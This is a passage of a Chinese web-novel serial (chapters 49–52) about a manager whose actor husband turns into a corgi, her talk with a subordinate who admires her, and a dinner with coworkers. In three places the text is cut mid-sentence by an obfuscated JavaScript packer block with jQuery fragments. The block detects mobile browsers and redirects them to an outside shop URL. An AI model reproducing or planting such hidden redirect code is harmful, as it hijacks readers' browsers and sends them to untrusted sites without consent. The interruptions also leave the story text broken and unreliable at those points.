唐蜜呆滞了片刻,爆笑出声:“噗……矮脚虎小狗?好可爱的名字。它好像听懂你的意思了诶,主任,它在跺脚脚。” 一把摁住齐北宸,轻拍了下他的狗屁股,裴矜面不改色心不跳,继续往下编:“毕竟他是我老公选中的命运之狗,有点小情绪也正常。” 唐蜜眼睛一亮,她拿出手机对着自己和狗子拍了一张照:“抓不到我偶像,和偶像钦点的小狗合个影也不错。来,矮脚虎宝宝,对着镜头笑一个,茄子~” 齐北宸的狗尾巴掌控在裴矜的手里,由不得他不乐意。变成柯基的男演员配合地满足完粉丝要求,往裴矜身上蹭了一身狗毛。 裴矜一把按住扑腾的狗子,笑着和唐蜜打招呼:“看来是小宝贝社交能量条耗尽了,需要充电。” “哈哈,明白。”唐蜜见好就收,带着手机挥挥手离开了房间。 办公室里又恢复到夫妻二人的秘密空间。 齐北宸这才委屈巴巴地从裴矜怀里探出狗头:“老婆,中华文化博大精深,你咋给我起那么难听的名字?” 裴矜替他活动着不方便运动的小爪子:“嫌我取的难听,要不你自己和你粉丝开口说清楚?” 齐北宸不敢回嘴了,取而代之用小爪子在桌面上一顿刨:“肚子瘪瘪,荷包也瘪瘪,我的命好苦啊。” 比命苦,谁能比得过方铭啊,就他戏多。 裴矜被他这精心包装的表演逗笑了:“好好好,不饿你,我中午叫了外卖,你吃完狗粮,我带你出去逛一逛。” 齐北宸的狗耳朵竖起:“我想去绿地广场,那边不热,还有宠物乐园!” 事前调查那么充分,还说不是早有预谋?真是一如既往地一点亏都不想吃。 裴矜轻点狗子的鼻尖,拿出食盆给他倒了一碗满满的狗粮。一人一狗在饭点饱餐完毕,裴矜给齐北宸套上小马甲和狗链,带着狗出门遛弯。 夏天的中午酷热难耐,大多人手里都拿着冰饮,往商场里钻。 顾及齐北宸受伤的爪子不能用力,裴矜没舍得让这块肉面包连跳带爬下楼,自己把他一路抱着走下楼梯,到了平地再把他放下来。 齐北宸在办公室被关了一上午,中午一解禁就撒丫子欢快地迈着小短腿狂奔,力气大得裴矜险些拉不住。 “慢一点,你的脚上伤还没好透,别奔那么快。” 狗菜瘾大,裴矜说完没几分钟,齐北宸就吐着舌头往树荫底下钻。 裴矜站在他边上,拿出手帕给狗擦擦汗,打开随身携带的小电风扇,一人一狗一起乘凉。 裴矜手扇着风:“好热啊,你热不热?” 齐北宸点点狗头,眼睛越过裴矜看向身后的冰激凌店。 裴矜摇摇头:“不可以,小狗吃巧克力,你是嫌自己狗命太长吗?” 齐北宸耳朵一下耷拉了,但数秒后又立马竖起。 一个熟悉的男人手里拿着绿豆汤从远处走近。 “主任,好巧。”吕恪微笑着点头,“那么热的天怎么不进室内?” 49. 吕恪的过去 自从吕恪父亲和弟弟的事情发生以来,裴矜除了工作,私下鲜少和吕恪有接触。两人之间像是隔了一道看不见的墙,谁也不愿意往前迈一步。 裴矜礼貌性点点头,抚摸着齐北宸根根炸开的狗毛:“在陪它遛弯,它嫌热,想要吃冰激凌。小狗是不能吃冰激凌的,我不答应,它在和我闹情绪。” 被顺着狗毛的齐北宸哼了哼,狗眼瞪着吕恪,转过头又冲着裴矜汪汪叫。 吕恪不像之前那样靠近狗,他站在距离几步之遥的地方略一点头:“主任说的不错,只是这天气确实太热了,柯基怕热也得给它适当降温,否则它会热晕的。” 话是不错,冰激凌店他又不能去,商场也不能随便闯,不然……打道回府去她办公室? 裴矜犯了难,吕恪沉默片刻打破了尴尬。 他摇了摇手上的绿豆汤:“要是小狗愿意走几步,大概几百米外有一家新开的露天饮品店,里面有卖鲜榨果汁和夏日冰饮,我想应该有小狗能喝的种类。” 哦,这个建议听起来不错。 裴矜低头贴在狗耳朵旁说了句:“去吧,你也不想大热天变成狗肉干吧?” 齐北宸又哼唧了声,肉肉的狗屁股一撅。 裴矜按住他的面包臀,又说了句:“不去就是怂了哦,宸宸好弱啊~” “汪!” 齐北宸一个鲤鱼打挺从趴着的姿势变成站立状态,他甩了甩狗毛,抬着下巴迈着小短腿就走,却被裴矜一把拉住了狗链。 “饮品店方向不是那里,你走反了。” 两人一狗沉默着穿过绿茵草地来到饮品店。 中午是最热的时候,室内的顾客居多,太阳伞下几乎看不到几个人。 裴矜自己点了一杯酸梅汤,给齐北宸点了一碗冰镇绿豆汤,特意嘱咐店员用装冰沙的碗装,还要了个小勺子,一口一口地喂到他嘴里。 冰冰凉凉的绿豆汤下肚,齐北宸的狗耳朵欢快地甩了甩,狗眼眯成一条缝,享受着消暑带来的快乐。 吕恪和裴矜面对面坐着,一声不响地看着裴矜喂狗:“主任,你好像最近和狗狗很投缘。昨天我看到直播了,你和齐先生感情很好呢,就是……” 裴矜喂狗的手一抖,齐北宸狗耳朵往后撇了撇。 “就是什么?” “就是我感觉镜头上的齐先生好像和我见到的时候不太一样?”吕恪咬着吸管回忆,“我印象里,齐先生应该更活泼有少年气一点,昨天要不是看到那张几乎一样的脸,我都以为是他双胞胎兄弟来了。” 吕恪的观察力让裴矜汗颜。光是一个唐蜜就让她够头疼的了,现在还有个比十个唐蜜还厉害的吕恪在场。 裴矜此刻非常想做出卷狗逃跑的事来,但考虑到实际情况,她又不能真那么做,打着哈哈:“没想到小吕你也有兴趣看直播,我以为你对这些不敢兴趣呢。” “原本是不感兴趣的,但对象是齐先生还是挺不一般的。”吕恪温和一笑,“齐先生的伤好些了吗?”“多谢关心,好一点了。” 坐在桌上的柯基齐北宸像看乒乓球比赛一样,来回转着狗头。 吕恪看着齐北宸圆滚滚的眼睛,轻叹一声:“那就好。”他侧过头又冲着裴矜笑了笑,只是那笑意未达眼底,“看得出来,主任你确实嫁给了一个自己真心喜欢的人,那是多少人求也求不到的。” 当着齐北宸的面,裴矜有些拘束,她不知该如何回答这个问题,只能转而问起了之前没能得到回答的事:“对了小吕,上次听你的口气,我们好像之前见过,但是你记得我却不记得了?” 吕恪一愣,点点头:“是的,那大概是五年前的事情了。我当时打扮和现在相去甚远,你能想象穿着红绿的格子衬衫,戴着黑框眼镜,和一群大学生挤在学校社招各个展区的我吗?” 五年前的夏天?裴矜的记忆渐渐回笼。 她记得那一年也是这么热,当时唐蜜还没到她的公司就职,她和几个人资还有其他部门的同事去了几家大学定向招聘新人员工。 难道说,她和吕恪的初遇是在大学社招现场?想到这里,裴矜进一步端详起了吕恪的脸。 齐北宸的小狗爪拼命地在她面前乱挥,却被她一把按住扣在怀里动弹不得,尘封在记忆深处的零散碎片一点一滴拼凑在一起,形成了一幅完整的画面。 “我记起来了!”裴矜捏着齐北宸的肉垫拍了两下,“你是不是那个问我到底是该出国留学进修,还是该听从父亲建议尽早参加工作的男生?” 吕恪弯起嘴角,人靠在椅背上:“是我。当时我完全不会打扮,大四面对自己的未来一片迷茫。要不是有主任当时的提点,也不会有今天的我。” “哎,话不能那么说。我说得再多也不过是建议,听不听,怎么听取决于你自己。” “对主任而言或许是这样吧,但对我来说……要不是主任你认可我的能力,我原本完全不打算出国留学呢。” 吕恪耸耸肩,看向远处的绿荫:“我家的情况主任之前不知道,现在应该知道了。那个时候我的父亲压根没指望我能出人头,觉得读再多书也是浪费钱,最后只会和大哥一样混吃度日。毕竟在他眼里,我的弟弟才是全家唯一的天才。” 裴矜没有打断沉浸在回忆模式的吕恪,前一刻还在扑腾的齐北宸也安静了下来,一人一狗静静地听着吕恪说着过去的事。 “那天艳阳高照,我是和室友一起来的社招现场。我们公司的招聘标准不低,当时还是大学生的我没指望能进,抱着姑且试一试的心态来了。” “结果也和我预料的差不多,面试官看到我们的简历,聊了几句就把我们俩都刷掉了。我本想着要走,结果就被主任你叫住了。” “你问我:‘同学,你的专业课绩点那么高,从小到大履历表都很华丽,有没有想过再深造?要是你是硕士,没准今天就会被录取了。’” “我没想到会有人这样说,你拿着装茶叶的保温杯在大夏天一边烫嘴一边小口抿,和我聊了许久。老实说,我那是很不自信,从外表到内里多少有些自我厌弃,可你没嫌弃我。” “然后你就说了那句让我记了很久的话。你告诉我,读书是为自己读的,凡人本来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832211|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 会有烦恼,没有烦恼的是神仙。” “你还告诉我,没有人生来就什么都会,要想把握住机会,先要把自己锻炼成一个机会来了随时都能抓住的人。” 说到这里,吕恪合上了眼睛闭了几秒,再度睁开时,眼底一片清亮。“对主任来说,我可能只是你人生中的一个旅客,但对我来说,你是我遇到的第一座灯塔。” “生而为人二十多年,我第一次产生了想自私地为我自己试一试的心。为此我在国外半工半读,哪怕父亲反对,大哥不看好,弟弟冷嘲热讽,我都没在乎。” “我扛了下来,我改变了我自己,这才有了今天站在你面前的吕恪。” 吕恪的声音飘散在沉闷的午后空气中久久不能散去。 裴矜看着眼前这个坚定的年轻人,身影与五年前那个戴着黑框眼镜,背有点佝偻的大学生渐渐重叠。 “很高兴,你能挣脱原生家庭的锁链,活成了你现在的模样。”裴矜的心情尚且不能平复,她吸了一口酸梅汤才往下说,“小吕,没能第一时间想起你是谁我很抱歉,但我比起五年前的你,我更欣赏现在的你。” 望向前方的吕恪转过头,直愣愣地看着裴矜的脸过了数秒,莞尔一笑:“我能问你一句话吗?裴矜。” 裴矜瞥了眼桌上的齐北宸,后者拨弄着小爪子没一点声音,她随即点点头:“你问吧。” “对你来说,我到底是什么?” 啊,他果然还是问出来了。 裴矜暗自松了口气,平静地阐述:“你是一个很优秀又有能力的年轻人,是我的得力下属,甚至可以说是我觉得可以当成弟弟的人。” 吕恪的笑容有些苦涩:“只是这样?” “是的。”裴矜没有一秒迟疑地回答,“从我认识你的第一天起,我就不曾有别的想法。” “裴矜,你不觉得你的回答直白到有些伤人吗?” 裴矜挠挠头:“抱歉,我不太擅长回答这类问题。” “不会,你这样反而让我安心了。” 吕恪轻轻摇了下头,他的手犹豫片刻,最后抚摸上了柯基柔软的毛发上。 齐北宸一反常态没有炸毛也没跳起来,像只刚烘培出来的小面包一样,趴在桌上任由吕恪摸了好一阵。 吕恪收回手,带着他那杯还没喝完的绿豆汤起身,语气又恢复成了以往的模样:“很感谢主任和主任的小狗今天中午愿意听我发了一通牢骚,如果有机会的话,我还挺想和齐先生聊一聊的。午休快结束了,我先回去了。” 吕恪说完只给二人留下一个背影,在烈日的包裹下渐渐远去。 这人还是一如既往地不容易看透啊。 裴矜甩了甩头,吸了口所剩无几的酸梅汤,又把最后一口绿豆汤味到齐北宸嘴里替他擦擦嘴:“小齐狗今天表现倒是特别,一开始炸得和鞭炮似的,怎么后面就化身香软面包,给人随便撸了?” 齐北宸撅着狗嘴吧唧吧唧地吃绿豆汤,裴矜看他那么可爱,戳戳他的脸颊:“你不是平时最讨厌吕恪了吗?怎么吕恪反过来还想见你一面和你聊天啊?” 50. 秘密与蜜蜜 狗头转了一圈,见左右无人,齐北宸压低声音吐出人话:“这你就不懂了吧,所谓男人之间的对话就是这样。我大概知道他想和我说什么,那些话你听不得。” “本少爷掐指一算,距离我变回人形还有一天,那姓吕的没溜,我倒是愿意会会他。” 瞧瞧这抬着狗下巴得意的小模样,尾巴都快翘上天了。还掐指一算,就他那小狗爪算得准吗? 裴矜摸了摸狗背,继续追问:“你只回答了我一半问题,你没说为什么会安安静静给他摸。” 齐北宸切了一声:“他的爪子都摸到我背上来了,桌子就那么大,我的两只小脚脚还没好透,这时候一蹦哒起来,吃亏的是我哎!” 裴矜满脸不信,轻抓齐狗后脖子,抬起他的狗头:“就这样简单?” 齐北宸狗鼻子哼哧,眼睛看着地面:“不然呢?” “小齐狗看地面不看我,十成有鬼。” “裴矜,你要是哪天辞职不干了,不如改行当警察去吧。你这脑子不为国效力太浪费了。” “少给我戴高帽,说不说?” “好好好,说,我说还不行嘛。”齐北宸嘟囔了一句,“他要是真是个非常可恨的,和我拿到的剧本里一样的心机绿茶,事情倒是简单了。他啊,就是冲着被你打脸来的,他都这样了我再发作,不是显得我很不懂事么。” 男演员就是男演员,戏不是白演的。 裴矜松开抓狗脖子的手,替他梳梳毛:“我们小齐狗识大体,顾大局,最懂事了。” 齐北宸一脸狗不乐:“裴矜你什么意思,我是你老公!受法律保护的那种!” 柯基的狗毛一根都没炸开,四只小爪子像打鼓一样咚咚咚地踩在桌面上,乌溜溜的狗眼盯着裴矜不放。 裴矜憋不住笑了出来:“是老公,还是一只会说人话的狗老公。齐北宸,你猜你嗓门再大一点,直播间和研究院哪个你进去会更快一点?” 齐北宸咬着狗嘴,气鼓鼓地在桌上表演板鸭趴。 “好了,和你开个玩笑而已,又生气啦?”裴矜哄着狗,给他套上狗链准备回公司,“刚刚还宰相肚里能撑船,这会儿又不行了?” 齐北宸被抱下桌子,抖了抖狗毛:“船翻了,不高兴撑了。皇后娘娘,咱们现在能起驾回宫了吗?” 裴矜笑着往公司方向前进:“走,再不走,上班要迟到了。” 吕恪的事情悄无声息地解决,裴矜心中悬了许久的巨石也算落了地,干活都分外有劲。 掐着齐北宸要变身的时间节点,裴矜第二天依旧带狗上班,同时还把齐北宸的换洗衣物给准备好了。万一他捱不到下班时间就变回来,她的办公室帘子一拉,灯一关,小齐哥随时都能来个美少男变身,轻松无负担。 平静的早上波澜不惊,午休时间,裴矜带着菜鸡柯基在楼下转了转就上楼去了。距离午休结束还有半个多小时,她再次拿出搞了大半的狗毛球,往里填充最新款柯基狗毛。 齐北宸就趴在距离裴矜不远的真皮小沙发上,狗耳朵一甩一甩:“老婆,你的狗毛小饰品是不是快完工了?为什么我越看越觉得这个东西不像狗尾巴,像只圆滚滚的球?” 嗯?难道他自己没发现吗? 裴矜停下手中的活,拿着一面镜子放在齐北宸的狗屁股后面,在他的身前又放了一面镜子,然后点了点镜面:“你要不要看看镜子里的画面再吐这句槽?” 一只小巧又圆润的狗尾巴出现在镜面上,齐北宸一抖,那颗毛球就跟着同步抖动;狗屁股甩的频率高,画面里自动浮现电动小马达舞蹈画面。 几次三番尝试失败,齐北宸的狗耳朵往后贴在脑袋上,小狗爪抓着裴矜的衣袖试图协商:“不行,老婆,太丑了。你要是做这个纪念品留下来,以后我哪怕不会变成狗了,也得留下一辈子心理阴影,你忍心如此吗?” 话说得情真意切,狗狗眼角还挂着不知道是水还是泪的东西。 裴矜一瞅他这样,就有点吃不准了。 她当时做这个小球纯粹是觉得挂在包包上好看,年轻女孩子们的包上挂着各种毛茸茸的球状物体,既美观,捏起来还特别解压。 难道是她考虑不周吗? 裴矜轻咬下唇:“我就想自己拿来用,不给别人看。毕竟是你身上掉下来的毛,我觉得还是很有纪念意义的。要是你真感觉变扭,那就算了。” “诶,我不是这个意思。”齐北宸对着小狗爪子的肉垫,解释道,“我是觉得你做的也太像了罢了。要是你做完送给我,我倒是可以勉为其难接受。” 一分钟前还在难受的裴矜瞬间不难过了。 绕了半天这狗东西是想给自己谋福利,工钱不付,劳动力她出,道德高地他占领,连成品还想不劳而获,全天下哪儿有那么便宜的事。 见裴矜一下变脸,齐北宸狗尾巴竖起,立马跑过来蹭着裴矜的裤腿:“不送也行,老婆,你开心就好,嘿嘿。” “小坏狗,差点着了你的道。”裴矜双手抱起狗,“差点忘了你还是个正经男演员呢。演技都用在我头上,你心不心虚啊?” 被举在半空中的齐北宸一脸傻狗样,眼珠子滴溜溜地转:“老婆说得对,我不敢了,我认错,我改正。” 嘴上说得好听,心里指不定怎么编排自己吧? 和齐北宸斗智斗勇经验条暴涨的裴矜哼了声,继续埋头做手工。 宝贵的午休时间过去,裴矜大功告成。 把多余的杂毛剔除干净,裴矜看着断断续续做了好久的小狗尾巴挂件非常满意。圆滚滚的小球头部主要是白色,往下形成黑棕杂色镶间的渐变色彩,看上去很独特。 作为提供原材料的齐北宸本狗趴在沙发上,一脸怨念地小声喊着:“老婆,真不考虑给我吗?” 裴矜戳戳他的头顶:“你要是一开始就那么乖,没那么多心眼子,我还能考虑一下。现在就不要想咯。” 说着,裴矜把挂件扣在另一个私服款薄总钥匙圈上,一点没把演员老公本体考虑在内。 “哦~” 齐北宸扒在沙发扶手上模仿狼叫嚎了一声,但声音与狼差距太远,反倒是像只没张开毛的小奶狗在喊妈妈。 “诶,乖宝。” 裴矜顺势摸了摸小狗头,仗着齐北宸还是只软萌小面包为所欲为最后一小会儿。 小奶狗齐北宸撒娇不成,装凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835551|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 也不成,嘴巴瘪瘪又趴了回去。 “老婆,你别后悔哦!” “威胁我啊?我才不会后悔。” “行,这次算你赢,下次可就不一定了。” 齐北宸也没和裴矜多怄气,几分钟后就开始玩他的平板了。 好景不长,平板划拉了不过几下,小齐狗便开始四肢酸软,整只狗趴在平板上哈气。 “老婆。” 埋头忙工作的裴矜立即跑过去,摸摸他的毛发:“是不是又要变回来了?” 齐北宸无力地点点头。 裴矜心里神会,把平板拿走,把他放平在沙发上,盖上小毯子,调低空调。随后她拿出早准备好的简易手动小屏风,在沙发周围绕了一圈,离开前亲亲狗子的额头。 “万一有事记得叫我,衣服放在桌上了。” 齐北宸掀起眼皮舔了舔裴矜的手指:“谢谢老婆,你去忙吧,我没事。” 前一秒生龙活虎,后一秒霜打的茄子。裴矜宁可他闹腾一点,也不想看到他病殃殃的,瞅着他这样子,连工作的热情都减少了一大半。 因为坚持在服用梅由谨的改良特效药,齐北宸最近两次变狗的过程时间被拉长了,但相对而言,他没出现之前那样骨头酸软到无力支撑的虚弱模样。 屏风后面约半个小时后,升起一阵轻薄的白烟。 裴矜心中一动,没有出声,继续保持观察。 又过了五分钟,屏风后传来一阵窸窸窣窣的声音,随后是齐北宸爽朗的男声。 “老婆,你怎么给我找了这么一身衣服啊?” 裴矜噗嗤一笑:“印花T恤,黑色休闲中裤,AJ球鞋加渔夫帽,这搭配不好看吗?” 齐北宸过了片刻收起屏风,挠挠头:“也不是不好,就是也太像男学生了。” 大长腿又皮肤白,果然穿什么都好看。 裴矜在心里默默吸了一口帅老公的颜值,嘴上却说:“没有的事,你之前来我公司那身如果是大二,现在起码研一了。这叫有少年感,你什么时候对自己那么没信心了?” 齐北宸挑眉:“老婆,你什么时候把我的话都学去了?你这样说,让我怎么接话茬?” 接不下去就别接了呗。 裴矜心中暗爽,面上淡然。 两人正唠着家常,唐蜜抱着笔记本电脑推门而入。 “主任,不好意思有急事我没敲门就进来了……” 房内的夫妻二人被同时按下了暂停键,不速之客唐蜜看到化身石雕的裴矜,顺着她的视线又看到了齐北宸,两只眼睛里闪烁着幽幽绿光。 “咳。”率先反应过来的裴矜清了清嗓子,“小唐,找我什么事?” “哦,是这个PPT上两个数据我想问一下。”唐蜜抱着笔记本电脑蹲在裴矜身边虚心求教。 裴矜大致扫了下,告知唐蜜她想知道的问题答案,唐蜜恍然大悟:“学会了,谢谢主任。” 她抱着笔记本电脑走了出去,不过两分钟,她受理多了一台拍立得又重新杀了回来。 “小齐哥你好,我是唐蜜。我是你的忠实影迷,很喜欢你扮演的角色,请问能不能和我一起合个影?” 51. 今日有约 刚收拾玩变身现场的齐北宸自然地点点头:“当然没问题,请吧,唐蜜小姐。” 唐蜜拿着拍立得坐在齐北宸身边,镜头对准他们两人的脸,手举得老高拼命对准焦点,但对了半天没对准,手先酸到发抖。 一旁的裴矜看不下去了,她揉揉眉心叹了口气,从唐蜜手里接过拍立得:“还是我来吧。” 唐蜜有点发懵:“诶,主任,你不吃醋吗?” “我吃什么醋?” “我坐在你老公旁边。” “嗯。” “我还挽着他的胳膊。” “哦。” “我和他距离那么近!” “所以呢?” “为什么你不吃醋啊!” 就这?她为什么要吃醋? 裴矜的脑袋上浮现出一堆问号,她歪了下头:“你和我老公光明正大在我这个做老婆的面前要求合影,因为拍照需要距离近一点,我就要吃醋,那我天天不用干别的事了,光喝醋就饱了。” 唐蜜感叹:“宰相肚里能撑船,没想到主任肚里也能撑。小齐哥,你好幸福,我好羡慕。” 不是说要拍照吗?怎么聊到她头上来了。 齐北宸哈哈一笑,摸了摸鼻子:“不用羡慕我,我老婆她比较特别,她的好别人体会不到,我懂就好。” 被塞了一嘴狗粮的唐蜜冲着裴矜一通挤眉弄眼,裴矜当起了选择性眼瞎,拿起拍立得帮两人拍下一张珍贵的人形合影,算是圆了唐蜜许久以来的梦。 贵有贵的好处,唐蜜拿起照片甩了甩,不消片刻,照片上的人影画面逐渐浮现。她又掏出一支早就准备好的签字笔递给齐北宸:“小齐哥,你能帮我在合影背后签个字吗?” 齐北宸露齿一笑:“没问题。” 他提笔在照片背后龙飞凤舞地签下自己的大名,又拿出来扇扇风等墨迹干透才还给唐蜜。 粉丝服务还挺到位,大少爷没有明星架子,倒是难得。 裴矜看在眼里,记在心里。 唐蜜拿到照片后放在自己携带的笔记本里夹好,刚要哼着小曲跑出门去,临门一脚硬生生停了下来,又倒退了几步看着齐北宸。 齐北宸抬头看着去而复还的唐蜜:“怎么了?” 唐蜜有些扭捏,支支吾吾地开口:“咳,小齐哥,你之前说过的话还作数吗?” “原来你是想问这个啊,当然作数啦。”齐北宸点点头,“你是想问我请你和方铭吃饭这件事吧?我老婆昨天和我说过了,我说出去的话肯定会兑现。你喝方哥想赤什么?” “这个我还没想好,我还得问问方哥。”唐蜜停顿了下,补充道,“我看方哥这两天都在公司,不算忙。今天是周五,明天周末也没大事要忙,要不然……” 齐北宸接过话茬:“你是想今天晚上的晚饭我承包?一句话。地点你和方铭挑,到时候告诉我或者我老婆就行,剩下的你们只要带张嘴不用管别的。” 唐蜜的眼睛一亮,双手合十拍了一下:“哇,小齐哥你真的比我网上感觉到的还要痛快诶~粉你那么多年真是没白粉!我这就去问方哥,不打扰你和主任的二人世界了,告辞!” 说来就来,说走就走。唐蜜像急先锋一样退出办公室,反倒把裴矜停在了杠头上。 她是带狗老公顺便来上班的,又不是故意带老公来秀恩爱谈恋爱的。这个唐蜜,回头得好好说她了! 裴矜坐下来继续埋头刚刚没完成的工作,齐北宸恢复成人形,一刻也闲不得。他跪坐在沙发上,扒开百叶窗望着外面的办公室:“老婆,你们部门的那个吕恪在不在?” 裴矜敲击键盘的手一顿:“应该在吧。你有事?” “谁让我是个大忙人啊。”齐北宸冲着裴矜招招手,“帮我看看哪个是他座位?” “那边,从里面往外数第二排第一个座位,桌上放着绿萝的那个。” “好嘞,谢谢老婆。” 齐北宸从沙发上站起来,整了整衣服。裴矜这才想起来吕恪昨天是想和他谈一谈,只是她没想到齐北宸把这次谈话看得比她还重要,甚至主动出击。 前面还挺自信的裴矜一下犯起了嘀咕,小声问了句:“你们俩私下有交流吗?我怎么不知道。” 齐北宸愣了一瞬,随后笑着捏捏裴矜的脸:“老婆,还说你不吃醋。你这小醋坛子吃起来,酸味都飘到云天外去了。” “你就会糊弄我。”裴矜捏着齐北宸的手,两只眼睛瞪着他,“你们私下要是没什么,干嘛你要那么主动。” 齐北宸笑得更厉害了:“因为你啊,我的傻老婆。你的战斗结束了,我的战斗才开始呢。” 裴矜有些摸不着头脑:“我都拒绝他了,还能怎么着?难道你不相信我?” “不是这样的。”齐北宸拍拍裴矜的肩膀,“你拒绝他是给这件事画上了句号,我和他嘛……上次是个逗号,现在得把没写完的剧本写到剧终。雄性动物都是这样的,你就别管那么多了。” 说得那么玄乎,不就是小狗撒尿争地盘吗? 裴矜也懒得插手大老爷们之间的事,她的态度如此,叮嘱了齐北宸几句,让他别张扬,要低调一点也就随便他去了。 齐北宸去孔雀开屏争他的气,裴矜敲击键盘争自己的馒头。 沉浸式工作两小时后,神清气爽的齐北宸双手插兜,迈着轻快的步伐,哼着薄总的主题曲凯旋而归,唐蜜的推荐餐厅也同步推送到了齐北宸和裴矜的手机上。 裴矜打开一看,好家伙,米其林餐厅,平时极难预约,随便一道菜就是天价,招牌菜更是她绝对不会浪费钱的存在。 唐蜜,你是挺懂怎么宰你那个变成小狗被迫减少工作量和赚钱机会的偶像的。 裴矜忧心忡忡,齐北宸捧着手机更是一通鬼哭狼嚎:“我的心在滴血,还是被一把来自名为粉丝的刀给扎了心窝。老婆,我的荷包好苦啊~” 裴矜扯了扯嘴角:“那不然我提议换一家。” 齐北宸立马不叫了,蹲在裴矜脚边,头放在她膝盖上:“老婆,这些钱我还是出得起的,我就是想让你哄哄我嘛。”他抬起头,露出两只好看的大眼睛,“我才赶跑外敌,你都不奖励一下你的小狗狗吗?” “小吕什么时候成外敌了?” “他不是吗?” “从来都不是。” 齐北宸听了,嘴角咧到耳后根,用力亲了亲裴矜的脸颊就坐回沙发上刷手机预约餐厅去了。 不管怎么变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842354|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,内核还是那只小齐狗一点都没变化。 裴矜轻轻抚摸着被他亲过的区域,冲劲十足地把剩下没完成的工作火速收了个尾。 有钱能使鬼推磨,别人一约难求的米其林餐厅在齐北宸的运作下当天就约到了一个小包间,地方不大,但塞他们四个人足够了。 为了匹配餐厅的档次,齐北宸还提前换好了一套正装,下班时间一到,四人驱车前往餐厅。 一进入高档餐厅的旋转门,扑面而来的食物香味和淡雅的香水味便让人感到细微的差异。 四人来到包间坐下,齐北宸动作优雅地把菜单递给方铭与唐蜜,脸上带着恰到好处地营业式微笑:“难得出来吃一顿,请随意。” 方铭怪笑一声:“小齐,你这样说,我这个当哥哥的可就不客气了。” 唐蜜满眼爱心,彩虹屁大放送:“多谢小齐哥,祝你事业再登新高度,和主任和和美美一辈子!” 裴矜也拿到了菜单,打开一看不过几秒钟就心不在焉地合上了。 齐北宸眼睛余光瞄到后,凑到她耳边问:“怎么了,老婆?是不是菜不合口味?” 光是看到这价钱她就吃饱了,哪儿顾得上其他东西。 裴矜摇摇头:“我今天胃口一般,随小唐他们点吧。” 齐北宸继续和裴矜咬耳朵:“还是老婆好,知道心疼我。” 裴矜瞪眼,轻推他一下:“去你的,大庭广众耍什么流氓。” “这才哪儿到哪儿啊,老婆。”齐北宸趁其不备,舔了一口裴矜的耳廓,又快速转了回去,像什么都没发生过一样。 死男人,谁借给他的狗胆敢这样! 裴矜脖子一下红到耳后根,她在桌下气得踹了齐北宸一脚,后者还笑眯眯地给她捏捏腿再放回去,有脾气的也被弄成了没脾气的。 唐蜜被桌上的小动作吸引了注意,抬头问:“诶,主任,你怎么不选啊?” 裴矜深吸一口气:“我吃东西随便惯了,你们点什么我都行。” 方铭无声地竖起大拇指一枚,和唐蜜窸窸窣窣探讨一阵后交付了菜单。 菜色陆陆续续上桌,一时间包厢里只留下刀叉碰触的轻微声响。 食不言寝不语,裴矜吃得很安静,齐北宸也很安静,但总有人是不安静的。 率先开口的是方铭。他眼珠子盯在齐北宸身上好几秒,咽下一口焗饭,慢悠悠地开口:“小齐,听说尼下午去校场比武了?” 齐北宸迟疑片刻,摇摇头:“现代社会,能动嘴哪儿会动手。纯文斗,和武斗挨不上边。” 方铭吹了声口哨:“看样子是打赢决赛了?” “没呢,最多是半决赛。”齐北宸继续埋头扒饭,“家里的皇后娘娘还没出场,哪儿有我说话的份。” 她一句话都没说,怎么还有她的事? 裴矜只觉得膝盖中了一箭,皮鞋踩在齐北宸的脚背上微微用力:“吃你的饭,那么多菜还堵不上你的嘴。” 齐北宸嬉皮笑脸任她踩:“喳,谨遵娘娘懿旨。” “噗。”唐蜜一口饭险些卡在嗓子眼里,她赶忙喝了一口水才缓过来,“主任御夫有术我知道,就是不知道方哥你怎么了解那么多别人家的家长里短?” 52. 你最美丽 唐蜜的话看似随意,桌上的气流却不经意间转了个方向。 方铭一向心大,帮齐北宸圆谎的时候裴矜就领教过一二,属于完全不能和他多计较的类型。 吃过的瓜终究会反噬到自己身上,裴矜还记得没和偶像相认之前,唐蜜几次把正品齐北宸当代餐的荒唐故事,她不确定方铭还记得多少细节。 唐蜜一开口,话题也是冲着这个方向去的。方铭眼皮子都不眨:“我们俩那革命友谊就说来话长了,怎么小唐,你还想当着正主面从我这里挖什么料啊?” 裴矜埋头吃着黑松露鱼子酱,不参与唐蜜审方铭的戏码。 齐北宸的眼珠子在三人之间转了一圈,也没发言。 两人沉默,给了唐蜜发挥的机会,她眉毛一挑:“哦~很久是多久呀?” “肯定是在和你认识之前咯。” “这样啊~那上次我们在小区楼下偶遇小齐哥的时候……” 